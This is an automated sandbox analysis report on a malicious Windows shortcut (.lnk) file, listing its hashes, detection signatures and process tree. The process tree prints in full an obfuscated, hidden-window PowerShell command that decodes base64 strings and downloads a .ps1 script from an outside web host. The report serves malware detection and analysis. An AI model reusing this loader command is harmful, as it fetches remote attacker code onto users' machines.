Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    13-06-2024 14:49

General

  • Target

    1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk

  • Size

    3KB

  • MD5

    2f92127c3459805b28da753c4d8b385f

  • SHA1

    2be762a573ce42e8beaa0483cd7a10c653ea3559

  • SHA256

    a0b5a87c0aaca2c906b6f331dd41477bf4f4b7f88ee23e80032db911170a1113

  • SHA512

    6adbb25fe60d3abc72558721f6ee37097d3a5474c54b6581efbc8201c98f6e260b0adbdb95fffce83eebb26ec7ea7e41529f09649239908ef51c86b8445e27a9

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoPrOfIlE -wInDoWsTyLe hIdDe ;${_____/\__/=\/=\/=}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBhAHMAZABmAHMAZABhAGYAYQBzAGQAZgBhAHMA'))); ${___/=\_/=\____/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AGcAaAA2AHIAdABkAGgAdABmAGgAZABoAHQAZAA='))) ;${/==\/====\_/\_/=\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AHIAZwBoAGQAcgBoAGQAcwByAGgA'))); ${_/=\____/==\_/\/\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBkAGcAdABkAHIAdABoAGQAZgBoAGQAaAA='))); ${_/=\_/\/\/==\_/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGcAcgBzAGcAaAByAGQAaAB0AGcAcwA='))); (nEw-oBjEcT sYsTeM.nEt.wEbClIeNt).dOwNlOaDfIlE($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBwAGEAbgBlAGwALQBkAGEAcgBrAC4AYwBvAG0ALwBhAHAAcAAvAHoAZQBiAHIAYQAvADEAMgAuAHAAcwAxAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBjAHIAaQBwAHQALgBwAHMAMQA='))));p
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2664

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2664-38-0x000007FEF5A6E000-0x000007FEF5A6F000-memory.dmp

    Filesize

    4KB

  • memory/2664-39-0x000000001B550000-0x000000001B832000-memory.dmp

    Filesize

    2.9MB

  • memory/2664-40-0x00000000021C0000-0x00000000021C8000-memory.dmp

    Filesize

    32KB

  • memory/2664-41-0x0000000002CF4000-0x0000000002CF7000-memory.dmp

    Filesize

    12KB

  • memory/2664-42-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

    Filesize

    9.6MB

  • memory/2664-43-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

    Filesize

    9.6MB